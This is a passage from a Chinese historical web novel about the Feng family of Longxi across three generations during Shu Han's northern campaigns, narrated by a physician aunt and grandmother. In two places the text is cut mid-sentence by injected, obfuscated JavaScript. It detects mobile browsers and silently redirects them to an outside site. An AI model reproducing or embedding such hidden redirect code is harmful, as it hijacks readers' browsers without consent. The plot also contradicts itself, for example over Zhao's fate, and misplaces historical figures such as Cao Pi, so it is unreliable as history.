“师傅又想昭郎君了?”阿禾轻声道,“吉人自有天相,昭郎君定会平安归来。” 我拭泪苦笑:“乱世之中,吉人往往不得善终。” 阿禾沉默片刻,忽然哼起歌谣:“春风摇,那个柳叶俏,燕子点水绕...” 歌声悠扬,仿佛回到多年前的陇西。阿母在灶前蒸糕,阿兄在院中练枪... “师傅,有急症!”敲门声打断回忆。 开门见是个衣衫褴褛的老者,背着个重伤的年轻人。 “求神医救命!”老者跪地磕头,“我儿中箭,城中医馆都不收了...” 我急忙查看。伤者二十上下,胸口中箭,气息奄奄。 “抬进来!”我果断道,“阿禾,准备刀具药材!” 彻夜救治,终于取出箭镞,保住性命。老者千恩万谢,自称姓王,陇西人,避战乱来蜀。 “听说汉帝仁德,特来投奔。”王老叹道,“谁知路上遇溃兵,我儿为护我中箭...” 听到陇西口音,我倍感亲切:“老伯既是陇西人,可认得冯家村?” 王老一怔:“娘子是...?” “我姓冯,陇西冯家村人。” 王老激动道:“可是冯安先生家的阿宝?” 我愕然:“老伯认得家父?” “何止认得!”王老老泪纵横,“我原是冯先生麾下文书!城破那日,冯先生为救我等,断后殉国...” 如雷轰顶!多年来,我终于听到阿父确切的死讯! “家父他...如何殉国?”我颤声问。 王老泣道:“冯先生为掩护百姓撤退,率数十亲兵断后,力战而亡。遗体...遗体被羌人义士收殓,葬在狄道城外...” 我怔怔落泪。阿父终是马革裹尸,求仁得仁。 王老又道:“冯先生临终前,曾嘱托我:若见家人,转告他们:冯家世代忠烈,勿以为耻。” 我向北方叩首:“阿父英灵在上,女儿必不负所托。” 王老父子在医馆附近住下,常来帮忙。从他口中,我得知更多陇西往事。 原来阿父不仅是郡中书佐,还是暗中抵抗董卓的义士首领。城破那日,他为掩护义士家属撤退,主动断后。 “冯先生本可逃生,但他选择留下。”王老叹道,“他说:太守死社稷,书生守节义。” 我心中既悲且傲。阿父虽是文士,却有武将风骨。 数月后,王老之子伤愈,报名从军:“愿追随冯先生遗志,兴复汉室。” 我替他整理行装,如送别昭儿一般:“活着回来。” 青年郑重行礼:“必不负所托。” 建兴六年春,诸葛亮再次北伐。昭儿依然随军,依然音讯全无。 但从前线归来的伤兵口中,我常听到“小白袍”的传奇。 “那少年将军真了得!单骑冲阵,如入无人之境!” “据说姓李,但使的是冯家枪法...” “丞相甚为器重,常带在身边...” 我心中既喜且忧。喜的是昭儿建功立业,忧的是他冲锋陷阵,危险重重。 阿禾劝我:“昭郎君武艺高强,又有丞相照拂,必会平安。” 但愿如此。 一日,医馆来了个特殊病人——是个羌人首领,中箭重伤。随从急切道:“求神医相救!头领是汉军盟友!” 我急忙救治。手术过程中,那羌人忽然用羌语呓语:“尔甲...对不起...” 尔甲?我心中一惊,仔细打量伤者面容——虽染血污,但仍能认出正是尔甲! 多年不见,他已是羌人头领,鬓角染霜。 全力救治,尔甲终于脱险。醒来见是我,愕然:“阿宝?真是你?” 故人重逢,恍如隔世。 “你怎么...”我哽咽难言。 尔甲苦笑:“说来话长。我如今是羌人头领,与丞相结盟,共抗曹魏。”他顿了顿,“昭儿...他很好,已是牙门将。” 我喜极而泣:“真的?他...” 尔甲点头:“武艺高强,颇有冯兄当年风范。只是...”他欲言又止。 “只是什么?”我急问。 “心中仇恨未消。”尔甲叹道,“每战必冲锋在前,状若疯狂。丞相多次劝导,收效甚微。” 我心沉了下去。昭儿终究放不下仇恨。 尔甲养伤期间,常与我说起北伐见闻。诸葛亮治军严明,深得民心,但粮草不济,每每功败垂成。 “丞相不易啊。”尔甲叹道,“外有强敌,内有掣肘。若朝中多些支持,早该光复中原了。” 我深有同感。在成都这些年,见多了苟安之徒,少有真正关心北伐的。 尔甲伤愈后,欲重返前线。临行前道:“阿宝,可愿回陇西看看?” 我一怔:“陇西?” “冯先生葬在狄道,我知具体位置。”尔甲道,“如今陇西虽在魏手,但羌人地界,我可护你安全。” 心潮澎湃。离开陇西二十余年,我终于能回去了吗? 犹豫再三,我决定前往。阿禾留守医馆,王老父子相伴。 随尔甲羌人商队北上,再走故道,感慨万千。 越近陇西,景象越发荒凉。战乱频仍,十室九空,唯有羌人部落稍显生机。 至狄道城外,尔甲指着一处山坡:“冯先生就葬在那里。” 我独自上山。春风拂过,荒草萋萋。终于找到那个简陋土坟,墓碑早已风化,只依稀可见“冯安”二字。 “阿父...”我跪地痛哭,“女儿来看你了...” 二十余年的思念与委屈,在这一刻倾泻而出。 哭罢,我为坟冢除草培土,重新立碑:“汉陇西郡书佐冯公安之墓”。 尔甲悄然走来,放下祭品:“冯先生若知你平安,必感欣慰。” 我向墓碑叩首:“阿父,女儿必光大门楣,不负冯家忠烈之名。” 当夜,我们宿在羌人部落。尔甲召集各部头领,商议助汉军事宜。 我作为冯安之女,受到礼遇。许多老羌人还记得阿父,纷纷上前致意。 “冯先生是好人啊...”个老羌人道,“当年为护羌人,多次与官府抗争。” 我才知阿父不仅是忠臣,还是羌汉和平的推动者。 “冯先生常说:羌人汉人,都是炎黄子孙,何必相残。”老羌人抹泪,“可惜好人不长命...” 心中既悲且傲。阿父一生,求仁得仁。 在羌地盘桓数日,我走访故旧。冯家村早已荒废,唯余断壁残垣。 站在老家遗址前,往事历历在目。阿母蒸糕的香气,阿父读书的身影,阿兄练枪的英姿... “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”我不自觉哼起童谣,泪流满面。 尔甲轻拍我肩:“都过去了。重要的是活着的人。” 是啊,重要的是昭儿,是那些需要救治的人。 准备返程时,意外遇到个故人——是当年救过我的王允旧部!如今已是羌人部落长老。 “没想到还能再见。”他感慨,“王大人若知你平安,必感欣慰。” 我向他打听王允后事。他叹道:“王大人临终前,仍在筹划兴汉大业。可惜...天不假年。” 乱世之中,忠臣往往不得善终。 返回成都途中,我们绕道祁山,想暗中探望昭儿。 至汉军大营附近,远远望见旌旗招展,军容整肃。 “看!那是昭儿!”尔甲突然指道。 顺着他指的方向,只见个白袍小将驰马出营,英姿勃发,正是昭儿!他比离家时高大许多,眉宇间既有阿兄的英武,又有不属于这个年纪的沧桑。 我们不敢相认,只能远远望着。昭儿率队巡营,纪律严明,颇有大将之风。 “像极了冯兄当年。”尔甲叹道。 心中既欣慰又酸楚。昭儿长大了,却是在战火中长大。 突然,魏军袭营!昭儿立即率军迎战,厮杀惨烈。 我心跳如鼓,恨不得冲上去相助。尔甲拉住我:“放心,昭儿能应对。” 果然,昭儿骁勇异常,长枪所向披靡,魏军败退。 战后,昭儿驻马山坡,遥望远方。夕阳映照白袍,如血如泣。 我默默望了他许久,最终转身离去。知道他还好,便足够了。 回到成都,继续行医救人。但心中多了份牵挂——对陇西,对昭儿。 建兴七年,诸葛亮第三次北伐。昭儿随军出征,攻占武都、阴平二郡。 捷报传回,成都欢腾。我既喜且忧——胜仗意味着更多征战。 果然,建兴八年,诸葛亮第四次北伐。昭儿在街亭之战中负伤,消息传回,我心急如焚。 尔甲恰好来成都,安慰道:“只是轻伤,已无大碍。丞相让他回成都养伤。” 我稍感安心,日夜期盼。 半月后,昭儿终于归来。他瘦了许多,左臂包扎,但精神尚好。 “姑姑!”他见到我,眼中闪过惊喜,“你怎么...” “伤哪了?让姑姑看看!”我急切查看伤势。 昭儿微笑:“小伤而已。姑姑还是老样子,一点没变。” 替他重新包扎伤口,发现除了新伤,还有许多旧疤。心中酸楚,却不便多问。 昭儿在成都养伤期间,常来医馆帮忙。患者得知他是“小白袍将军”,纷纷前来致谢。 “李将军骁勇!是我大汉栋梁!” “有李将军在,何愁汉室不兴!” 昭儿只是谦逊回礼,但眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530073|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中自有傲气。 一日闭馆后,我与他闲谈:“昭儿,这些年...辛苦你了。” 昭儿沉默片刻,道:“为兴复汉室,何言辛苦。”他望向北方,“只恨未能手刃曹贼...” 我心一紧:“曹操已死多年了。” “父债子偿。”昭儿眼神冰冷,“曹丕、曹叡,皆是冯家仇人。” 我知劝不住,只能叹息。 昭儿养好伤后,又欲重返前线。临行前夜,他来到我房中:“姑姑,桓儿此去,或许...” “不许胡说!”我急忙打断,“一定要平安归来!” 昭儿跪下:“姑姑养育之恩,桓儿永世难忘。若桓儿...若桓儿回不来,请姑姑将桓儿与阿父阿母合葬。” 我泪如雨下:“傻孩子,别说这些...” 昭儿却道:“桓儿从军多年,深知生死无常。有些话,现在不说,恐再无机会。” 他取出个布包:“这是桓儿这些年的俸禄和赏赐,姑姑收好。若桓儿不归,可用这些钱修缮阿父阿母坟墓,再...再为桓儿立个衣冠冢。” 我抱着他痛哭:“我不要这些!我只要你平安回来!” 昭儿轻拍我背:“姑姑放心,桓儿会小心。” 次日,我送他至城外。大军开拔,旌旗招展。 昭儿白袍银枪,英姿飒爽。他向我郑重行礼,转身驰马而去。 望着他远去的背影,我忽然想起多年前送别阿兄的场景。何其相似! “秋风起,那个草黄了,门口霜雪要来到...”我不自觉哼起童谣,泪眼模糊。 阿禾轻声道:“师傅,回吧。昭郎君会平安的。” 是啊,必须相信他会平安。 回到医馆,我继续行医救人。同时开始整理冯家族史,将阿父阿兄的事迹记录下来。 王老常来帮忙,口述当年往事。阿禾负责誊写,渐渐成书。 “该给书取个名。”王老道。 我想了想:“就叫《陇西冯氏忠烈录》吧。” 但愿后人记得,在这乱世之中,曾有这样一门忠烈。 建兴九年,诸葛亮第五次北伐。这一次,汉军出斜谷,屯兵五丈原。 昭儿来信,字里行间充满信心:“丞相身体康健,将士用命,此次必能成功。” 我稍感安心,但仍日夜祈祷。 然而天不佑汉。是年秋,诸葛亮病逝五丈原!汉军被迫撤退! 噩耗传来,举国哀痛。我更是心急如焚——昭儿何在? 多方打听,才知昭儿断后阻敌,身陷重围! 如遭雷击!我立即收拾行装,欲往北寻人。 尔甲及时赶来:“阿宝冷静!我已派人寻找!你去了反而添乱!” 只能强忍焦急,在成都等待。日夜焚香祈祷,盼昭儿平安。 一月后,尔甲带来消息:昭儿重伤,被羌人义士所救,现安置在羌地养伤! 喜极而泣!立即随尔甲前往羌地。 再见昭儿,他浑身是伤,昏迷不醒。羌医束手无策,我只能亲自救治。 三日三夜不眠不休,终于将他从鬼门关拉回。 昭儿醒来,见是我,虚弱道:“姑姑...丞相...丞相走了...” 我含泪点头:“知道了。你好生养伤。” 昭儿泣道:“丞相临终前...召见我...说...说冯家忠烈...要我...要我放下仇恨...以天下苍生为念...” 我握紧他的手:“丞相说得对。昭儿,该放下了。” 昭儿闭目长叹,泪流满面。 养伤期间,昭儿常望天发呆。我知道,他在思考丞相的遗言。 一日,他突然道:“姑姑,我想回陇西看看。” 于是伤稍好后,我们再返陇西。这次昭儿同行,祭拜阿父。 站在冯安墓前,昭儿郑重叩首:“阿父在上,儿必谨记丞相教诲,以天下苍生为念,光大门楣,不负忠烈之名。” 春风拂过,坟头青草摇曳,似在回应。 我们又寻到周氏暂葬处。昭儿在墓前静坐整日,终于释然。 “阿母,儿放下了。”他轻声道,“儿会好好活着,光大宗族。” 我心慰然。这孩子,终于长大了。 回到成都,昭儿辞去军职,在成都府衙任职。他勤政爱民,颇得民心。 我继续行医,阿禾已成得力助手。医馆名声愈盛,甚至宫中后妃也常召我诊治。 建兴十二年,昭儿娶妻。新娘是诸葛瞻之女,贤良淑德。 婚礼上,昭儿郑重告祭天地:“冯家第七代孙冯昭,今日娶妻诸葛氏,必光大门楣,不负忠烈之名。” 他终究改回冯姓,以昭为名,寓意光明。 我喜极而泣。冯家有后,阿父阿兄在天之灵,必感欣慰。 次年,冯昭得子。抱孙那日,我对着北方轻声道:“阿父,阿兄,冯家有后了。你们看到了吗?” 春风拂过,仿佛传来回应。 乱世依旧,但希望不灭。冯家的故事,将在新一代身上延续。 而我的使命,似乎完成了。 “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”我哼着童谣,哄孙儿入睡。 窗外明月皎洁,天下太平似乎不再遥远。 16. 羌地白云 建兴十二年的秋天,昭儿的死讯传来时,成都正下着淅淅沥沥的雨。 信使是尔甲派来的羌人亲兵,浑身浴血,跪在医馆门前泣不成声:“冯将军...冯将军他...” 我手中的药杵“哐当”落地,整个世界天旋地转。 “说清楚!”我抓住信使的衣襟,声音嘶哑,“昭儿怎么了?” 信使痛哭道:“冯将军断后被围,力战被俘...曹丕亲自劝降...将军不从...被...被凌迟处死...” 凌迟...二字如万箭穿心。我瘫软在地,眼前发黑。 “将军临刑前...”信使哽咽道,“哭骂曹贼父子,至死方休...” 阿禾急忙扶住我:“师傅!保重身体!” 我推开她,踉跄起身:“尸首呢?昭儿的尸首呢?” 信使摇头:“曹丕下令...曝尸三日...不准收殓...” 眼前一黑,我彻底晕厥过去。 醒来时,已在榻上。尔甲风尘仆仆赶来,面容憔悴:“阿宝...节哀...” 我抓住他的手,泣不成声:“为什么...为什么总是冯家...” 尔甲垂泪:“昭儿像极冯兄,宁死不屈...” 是啊,冯家男儿,从来都是这般刚烈。 昭妻诸葛氏闻讯晕厥,早产下一子。我强忍悲痛,为她接生。 “是个男孩...”产婆贺喜。 我抱着孙儿,泪如雨下。这孩儿眉眼像极了昭儿,左眉也有淡红胎记。 “取名吧。”诸葛氏虚弱道。 我沉吟片刻:“叫冯宁吧。愿他一生安宁。” 然而乱世之中,安宁何其奢侈。 曹丕得知冯家有后,竟下令:“冯氏余孽,格杀勿论!” 诸葛亮虽已病逝,但继任者蒋琬尽力周旋,将冯宁记在诸葛氏名下,暂保安全。 但我知道,成都已非久留之地。 “去羌地吧。”尔甲建议,“那里山高皇帝远,曹魏势力难及。” 于是我们连夜收拾,随尔甲前往羌地。诸葛氏产后虚弱,一路颠簸,病倒在途。 至羌地,她已油尽灯枯。临终前,她将冯宁托付于我:“姑姑...宁儿就...拜托您了...” 我含泪应允:“放心,必视如己出。” 葬了昭妻,我带着孙儿在羌地定居。尔甲安排我们住在白马羌部落,那里山清水秀,与世隔绝。 冯宁渐渐长大,眉眼越发像昭儿。他聪慧伶俐,三岁能诵诗,五岁能习武。 但我从不告诉他身世。只盼他平安长大,做个普通羌人。 然而血脉中的东西,终究瞒不住。 一日,冯宁从外归来,突然问我:“阿婆,其他孩子都有阿父阿母,为什么宁儿没有?” 我心中一痛,强笑道:“宁儿有阿婆啊。” “可是...”冯宁低头,“他们说宁儿是汉人,不是羌人...” 我将他搂入怀中:“汉人羌人,都是好孩子。” 但疑问的种子已经种下。冯宁开始留意自己的不同,常对着河水看自己的倒影。 建兴十五年,冯宁七岁。尔甲来看我们,酒后失言,说出了部分真相。 “你阿父是英雄...”尔甲醉醺醺道,“被曹贼害死了...” 冯宁瞪大眼睛:“曹贼?可是曹操?” 尔甲自知失言,急忙噤声。但为时已晚。 那夜,冯宁彻夜未眠。次日清晨,他来到我面前,眼神坚定:“阿婆,告诉宁儿真相。” 我知道瞒不住了,只好说出部分实情:“你阿父冯昭,是汉将军,被曹丕害死了。” “为什么害死阿父?”冯宁问。 “因为...因为你阿父不肯投降。” 冯宁沉默良久,突然道:“宁儿要为阿父报仇。” 我心如刀绞:“不!宁儿!报仇只会带来更多仇恨!” 但冯宁眼神倔强,像极了当年的昭儿。 自此,冯宁更加刻苦习武。尔甲教他羌刀,我教他汉家枪法——正是冯家祖传的枪法。 “阿婆怎么会汉家枪法?”冯宁好奇问。 我只好道:“年轻时学过。” 冯宁天资聪颖,一点就通。七岁的孩子,使起枪来已有模有样。 但我心中忧虑日盛。仇恨的种子已经发芽,终将长成参天大树。 为转移他的注意力,我开始教他医术。 “医者救人,武者杀人。”我谆谆教导,“宁儿,救人比杀人更难,也更有意义。” 冯宁似懂非懂,但很认真学。他在这方面颇有天赋,很快就能辨识草药,处理简单伤口。 我希望他能成为医者,而非武者。但命运弄人。 延熙元年,冯宁八岁。曹魏细作终于找到羌地! 那日我去邻村出诊,留冯宁在家习字。回来时,只见屋舍焚毁,尔甲浑身是血,正在灭火。 “宁儿呢?”我急问。 尔甲捶胸痛哭:“被魏贼掳走了!我拼死抵抗,但...” 如遭雷击!我晕厥过去。 醒来后,尔甲已召集羌兵:“必救回宁儿!” 我们循迹追赶,至渭水边,发现魏军营地。暗中观察,见冯宁被绑在帐前,却昂首挺胸,毫无惧色。 “小崽子!说!冯家还有谁?”魏将厉声问。 冯宁冷笑:“冯家满门忠烈,岂会怕你曹贼!” 魏将大怒,挥鞭欲打。突然,一队汉军杀到——竟是姜维部队! 混战中,尔甲率羌兵突袭,我趁乱救下冯宁。 “阿婆!”冯宁扑入我怀中,却不见惊慌,“宁儿不怕!” 我见他脸上有伤,心疼不已:“疼吗?” 冯宁摇头:“阿父被凌迟都不怕,宁儿这点伤算什么!” 心中剧痛。这孩子,终究知道了全部真相。 姜维击退魏军,前来相见。得知我们是冯昭家属,肃然起敬:“原来是忠烈之后!” 他见冯宁聪慧,道:“可愿随我从军?必好生栽培。” 我急忙拒绝:“将军好意心领。但宁儿还小,只望他平安长大。” 姜维叹道:“乱世之中,何处能真正平安?不如学成本领,保家卫国。” 冯宁闻言,眼中放光:“宁儿愿随将军从军!” 我知拦不住,只能暗自垂泪。 于是冯宁随姜维去了汉中。临行前,他向我叩别:“阿婆保重。宁儿必光大门楣,为阿父报仇!” 我扶起他,泪眼模糊:“宁儿,记住:冯家世代忠烈,不是为了报仇,是为了让天下人不再受苦。” 冯宁似懂非懂,但郑重点头。 孙儿去后,我大病一场。尔甲悉心照料,方渐好转。 “孩子们长大了,有自己的路。”尔甲安慰,“我们能做的,就是守望。” 是啊,守望。就像当年守望昭儿一样。 我在羌地继续行医,救治羌汉百姓。冯宁常捎信来,说在军中很好,姜维待他如子。 但从字里行间,我能看出仇恨未消。他苦练武艺,只为有朝一日北伐中原。 延熙三年,冯宁十岁,已随军参与数次小规模战斗,屡立战功。 姜维来信盛赞:“虎父无犬子。假以时日,必成大器。” 我既欣慰又担忧。冯家男儿,终究逃不过战场命运。 一日,羌地来了个特殊客人——是个中年文士,自称姓费,从成都来。 “可是冯医女?”他问。 我警惕点头。 他递上一封信:“蒋琬公托我转交。” 拆信一看,竟是蒋琬亲笔!信中说朝廷欲追封冯昭,问可还有遗物。 我回复:“冯昭遗愿,不愿受封。若念其忠烈,请善待百姓。” 费先生肃然起敬:“冯家高义,令人敬佩。” 他留下些银钱:“朝廷心意,请收下。” 我用这些钱在羌地建学堂,请汉人教师,教羌汉孩童读书识字。 “读书明理,方知和平可贵。”我对尔甲道。 尔甲赞同:“若是冯先生在世,必也如此。” 是啊,阿父若在,定会欣慰。 延熙五年,冯宁十二岁,已是个少年将领。姜维让他回羌地省亲。 再见孙儿,他已比我高出半个头,英气逼人,但眉宇间戾气甚重。 “阿婆!”他向我行礼,举止有度。 我仔细端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530074|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详,发现他左颊有道新疤:“怎么伤的?” 冯宁淡然道:“与魏贼交战时所伤。可惜让那贼将跑了。” 我心痛不已:“宁儿,能不能...” “阿婆,”冯宁打断我,“孙儿此次回来,是想取回阿父的枪。” 我心中一凛:“什么枪?” “冯家祖传的白银枪。”冯宁目光炯炯,“姜将军说,阿父使的就是那杆枪。” 我确实藏着阿兄的枪——那是尔甲当年冒死从邺城带回的。 “宁儿,那枪...” “孙儿知道枪在哪。”冯宁径直走向屋后,从地下挖出长枪。 白银枪在阳光下熠熠生辉,仿佛等待着新的主人。 冯宁舞动长枪,虎虎生风。枪法竟与昭儿当年一般无二! “阿婆,孙儿要这枪上阵杀敌,为阿父报仇!”他目光坚定。 我知道,再也拦不住了。 冯宁在羌地期间,常去学堂看望孩童。见他来,孩子们都很兴奋:“冯将军!教我们武功吧!” 冯宁却道:“先学好诗文。阿婆说,读书比习武更重要。” 我稍感欣慰。这孩子,终究听进了一些话。 但他与尔甲喝酒时,却吐露真心:“待宁儿长大,必率军北伐,取曹叡首级祭奠阿父!” 尔甲叹道:“报仇易,平天下难。宁儿,莫要辜负丞相和你阿父的期望。” 冯宁沉默片刻,道:“宁儿知道。但此仇不报,枉为人子!” 我暗中垂泪。仇恨如锁链,一代代传递,何时能解? 冯宁省亲结束,重返军营。临行前,他向我叩别:“阿婆保重。待天下太平,宁儿必接阿婆回中原。” 我摸摸他的头:“宁儿,平安就好。” 望着他远去的背影,我忽然想起多年前送别昭儿的场景。历史总是惊人地相似。 尔甲轻声道:“像,太像了。和昭儿当年一模一样。” 是啊,一样的倔强,一样的决绝。 冯宁去后,我常去学堂教书。孩子们朗朗读书声,稍稍慰藉心中的空落。 “天地玄黄,宇宙洪荒...”孩子们诵读千字文。 我望着北方,心中默念:昭儿,你看到了吗?宁儿长大了,像你一样。冯家的血脈,还在延续。 延熙七年,消息传来:曹叡病逝,曹芳继位。 冯宁来信:“曹贼又死一个!可惜不是宁儿所杀!” 我回信劝诫:“宁儿,仇恨伤身。多看百姓疾苦,少思个人恩怨。” 不知他是否听得进。 尔甲年事已高,将头领之位传给儿子,常来陪我说话。 “有时想,若当年没有战乱,冯先生应该儿孙满堂了。”尔甲叹道。 我望向中原方向:“乱世之中,谁能真正安稳。” 我们这些老人,就像羌地的白云,飘荡一生,终究要魂归故里。 延熙九年,我病倒了。自知时日无多,让尔甲唤冯宁回来。 冯宁疾驰而归,跪在榻前:“阿婆!” 我抚摸他的脸:“宁儿长大了...真像你阿父...” “阿婆...”冯宁泣不成声。 我取出冯家族谱和《陇西冯氏忠烈录》:“这些...交给你。冯家的故事...要传下去。” 冯宁郑重接过:“孙儿遵命。” “宁儿...”我气息微弱,“答应阿婆...放下仇恨...好好活着...” 冯宁含泪点头:“孙儿答应。” 但我从他眼中看到,仇恨早已深植。这孩子,终究要走父辈的老路。 “狗儿跳...那个猫儿闹...”我哼起童谣,眼前仿佛看到阿母蒸糕,阿父读书,阿兄练枪... “吾家小宝...吃糖糕...”声音渐低。 “阿婆!”冯宁惊呼。 我最后望了一眼孙儿,缓缓闭目。 乱世一生,飘零如萍。终得归去,魂兮归来。 冯宁的哭声渐远,我仿佛回到陇西老家,春暖花开,亲人团聚。 终于...可以休息了... 羌笛呜咽,白云悠悠。冯家的故事,还在继续。 而乱世,依旧未休。 17. 乱世相逢 延熙九年的羌地,秋风萧瑟。 我躺在病榻上,感觉生命正一点点流逝。尔甲守在榻边,老泪纵横。冯宁快马加鞭从汉中赶回,跪在榻前,握住我枯瘦的手。 “阿婆!”他声音哽咽,“宁儿回来了...” 我努力聚焦目光,看着这个从小带大的孙儿。他已经长成英武少年,眉宇间既有昭儿的倔强,又有冯家特有的刚毅。 “宁儿...”我气息微弱,“阿婆...要走了...” 冯宁泣不成声:“阿婆别这么说!宁儿这就去找最好的医师!” 我轻轻摇头:“不必了...阿婆活得够久了...”颤抖着从枕下取出一个油布包,“这个...给你...” 冯宁接过,打开一看,是两本手稿——《陇西冯氏忠烈录》和冯氏族谱。 “这是...”他怔怔地看着。 “冯家的故事...”我喘息着,“都在这里了...” 尔甲在一旁老泪纵横:“阿宝...还有什么心愿?” 我望向冯宁,努力聚集最后的气力:“宁儿...阿婆走后...你要...好好活着...” 冯宁紧紧握住我的手:“阿婆放心!宁儿必光大门楣,为阿父报仇!” 听到“报仇”二字,我心如刀绞。挣扎着又取出一封信:“这...给你...待阿婆走后...再看...” 冯宁接过信,泪如雨下:“阿婆...” 我轻抚他的面颊,就像小时候一样:“宁儿...记住...冯家...不是为了报仇而活...” 气息越来越弱,眼前的景象开始模糊。恍惚间,仿佛看到阿母在灶前蒸糕,阿父在灯下读书,阿兄在院中练枪... “狗儿跳...那个猫儿闹...”我轻声哼起童谣,“吾家小宝...吃糖糕...” 声音渐低,终至无声。 “阿婆!!!”冯宁的哭喊声仿佛从很远的地方传来。 而我,终于可以休息了。 ...... 三日后,冯宁在尔甲的帮助下安葬了我。按照羌俗和汉礼合葬,面朝陇西方向。 处理完丧事,冯宁才想起那封信。拆开一看,泪如雨下。 “宁儿吾孙:当你读此信时,阿婆已去。莫要悲伤,阿婆活得够久,终于可以去见你的阿父阿母了。有些事,阿婆一直未敢告诉你。如今是时候让你知道真相了。你本名冯宁,乃冯家第七代孙。你的阿父冯昭,祖父冯栋,曾祖冯安,皆是为天下苍生而死的忠烈之士。你曾祖冯安,陇西郡书佐,城破之日为护百姓撤退,力战而亡。你祖父冯栋,原为曹操部将,因死谏反对屠城,被曹操所害。你阿父冯昭,随诸葛丞相北伐,为掩护同袍断后,被曹丕凌迟处死。冯家三代,皆不得善终。但阿婆要告诉你,他们不是为了私仇而死,而是为了一个信念:天下太平,百姓安居。宁儿,你常说要报仇。阿婆理解你的心情。但真正的忠义,不是快意恩仇,而是继承先祖遗志,完成他们未尽的事业。你曾祖临终遗言:‘冯家世代忠烈,勿以为耻。’ 你祖父死谏前说:‘为民请命,死得其所。’ 你阿父临刑前高呼:‘冯昭可死,汉室不可亡!’ 他们都是为了天下苍生啊! 宁儿,阿婆不求你建功立业,只望你明白:冯家的忠烈,不在于杀了多少仇人,而在于救了多少百姓。若他日你能看到天下一统,百姓不再流离失所,那便是对冯家最好的告慰。阿婆一生飘零,见过太多苦难。最大的心愿,就是有朝一日,天下再无战乱,百姓不再逃亡,孩子们都能在父母身边平安长大。宁儿,替阿婆看看那样的太平盛世,可好?最后,记住阿婆的话:放下仇恨,拾起慈悲。杀人易,救人难;破坏易,建设难。愿我的宁儿,能成为建设者,而非破坏者。阿婆绝笔” 冯宁读罢,泪流满面。尔甲在一旁叹息:“你阿婆一生,太苦了...” 沉默良久,冯宁突然问:“尔甲阿爷,宁儿...错了吗?” 尔甲摸摸他的头:“报仇没错,但别忘了更大的责任。冯家三代牺牲,为的不是私仇,是天下。” 冯宁望着远山,若有所思。 几日后,冯宁辞别尔甲,重返汉中军营。临行前,他去我墓前叩别:“阿婆放心,宁儿必不负所托。” 回到军中,冯宁仿佛变了个人。依然刻苦训练,但不再一味追求杀敌,开始关心民生,常向姜维请教治国之道。 姜维讶异于他的变化,冯宁只道:“是阿婆点醒了宁儿。” 延熙十年,冯宁随姜维北伐。战中,他生擒魏将,却未杀之,反而为其疗伤,放其归营。 同袍不解:“为何放走敌将?” 冯宁道:“杀一人易,收一心难。若能让魏将感念汉恩,或可少些杀戮。” 果然,那魏将回去后,力劝主将勿杀汉俘。双方交换战俘,少死许多人。 姜维闻之,赞叹:“冯宁有古名将之风!” 冯宁却道:“宁只是谨记阿婆教诲:杀人易,救人难。” 此后,冯宁每战必先劝降,力求减少伤亡。虽有人讥其“妇人之仁”,但他不为所动。 延熙十二年,冯宁奉命镇守汉中。他轻徭薄赋,鼓励农耕,深得民心。 一次,魏军来袭,冯宁设计破敌,却网开一面,放走残兵。 部将不解:“为何纵虎归山?” 冯宁道:“这些士卒,也是别人的儿子、丈夫、父亲。杀之,不过多几个孤儿寡母。” 消息传开,魏军中也流传“汉将冯宁,仁德之名”。 诸葛亮之子诸葛瞻闻之,来信赞道:“有君如此,汉室复兴有望。” 冯宁回信:“宁只愿天下早定,百姓安居。” 然而乱世依旧,和平遥遥无期。 延熙十五年,姜维再次北伐。冯宁为先锋,连克数城。但在狄道城外,他下令停止进军。 “再往前就是陇西了。”冯宁望着故乡方向,“宁不愿让故乡再遭战火。” 于是遣使劝降,陇西守将感其诚意,开城归降。兵不血刃,收复故土。 冯宁入城后,第一件事就是去祭拜曾祖冯安之墓。 站在荒草萋萋的坟前,他郑重叩拜:“曾祖在上,孙儿冯宁回来了。必光大门楣,不负冯家忠烈之名。” 尔甲闻讯赶来,老泪纵横:“冯先生若知有孙如此,必感欣慰。” 冯宁在陇西招抚流亡,恢复生产。许多羌人部落闻风来附,陇西渐现生机。 一日,冯宁巡视乡里,见一老妇在路旁施粥。问之,乃当年受我曾祖恩惠者之后。 “冯书佐当年救了我全家。”老妇道,“如今其孙又来救陇西百姓。冯家真是陇西的恩人。” 冯宁感慨万千,更觉肩上责任重大。 然而好景不长。延熙十八年,曹魏大举反攻,陇西再陷战火。 冯宁率军死守,浴血奋战。但寡不敌众,眼看城将破。 部将劝退:“将军,撤吧!留得青山在!” 冯宁望城中百姓,毅然道:“宁曾祖为此城死,宁父为此城亡。今日宁若弃城,何面目见冯家列祖列宗?” 于是焚香告天:“冯宁今日与此城共存亡!” 激战三日,箭尽粮绝。冯宁身被数创,犹自死战。 最后时刻,他面向成都方向,喃喃道:“阿婆,宁儿尽力了...” 正要拔剑自刎,忽听城外杀声震天——姜维援军到了! 里应外合,大破魏军。陇西得以保全。 战后,姜维搀起血染战袍的冯宁:“何苦如此?” 冯宁虚弱道:“冯家三代守护此地,宁不敢失。” 自此,“冯家枪,守陇西”的佳话传遍汉魏。 